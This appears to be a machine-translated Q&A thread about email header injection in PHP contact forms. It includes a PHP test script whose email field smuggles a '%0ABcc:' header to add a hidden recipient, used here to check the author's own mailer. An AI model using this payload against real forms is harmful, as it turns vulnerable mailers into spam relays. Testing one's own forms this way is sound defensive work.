它看起來並不像使用表格直接輸入注射工作得很好。我使用the following來測試一個我正在放在一起的郵件程序,它會發布腳本中的數據。 $postData
將不得不進行修改以適應您的表單。這只是一個個BCC「受害者」:
<?php
$postData =
'contactname=Lord+Sauron&'.
'[email protected]%0ABcc:[email protected]'.
'&message=Sorry+about+that+whole+ring+thing.+No+hard+feelings%3F';
$url = 'http://'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/onetrueformmailer.php';
$result = do_post_request($url, $postData);
echo($result);
// http://wezfurlong.org/blog/2006/nov/http-post-from-php-without-curl/
function do_post_request($url, $data, $optional_headers = null) {
$params = array('http' => array(
'method' => 'POST',
'content' => $data
));
if ($optional_headers !== null) {
$params['http']['header'] = $optional_headers;
}
$ctx = stream_context_create($params);
$fp = @fopen($url, 'rb', false, $ctx);
if (!$fp) {
throw new Exception("Problem with $url, $php_errormsg");
}
$response = @stream_get_contents($fp);
if ($response === false) {
throw new Exception("Problem reading data from $url, $php_errormsg");
}
return $response;
}
?>
你好, 有沒有你不使用CAPTCHA的原因嗎? 垃圾郵件可以抓取您的網站,查看聯繫人表單並手動將發佈的數據發送到表單的操作。然後,它將能夠發送任何會收到表格聯繫信息的垃圾郵件。 如果你想自己玩這個遊戲,你可以使用[Snoopy](http://sourceforge.net/projects/snoopy/)或其他任何可以讓你輕鬆發送發佈數據給你的圖書館形成。 如果您對收件人進行硬編碼或接受文件上傳,那麼對我而言,聽起來特別容易受到電子郵件注入的威脅。 – Andy
我正計劃使用captcha來防止垃圾郵件發送隨機表單,但我試圖做的是保護自己免受惡意用戶的侵害,但無論如何感謝您的回答,我會檢查Snoopy。 – Mathew
我認爲與電子郵件注入你指的是頭注入。 php ['mail'函數](http://php.net/manual/en/function.mail.php)有一些額外的標題可以進入電子郵件的文檔。 – hakre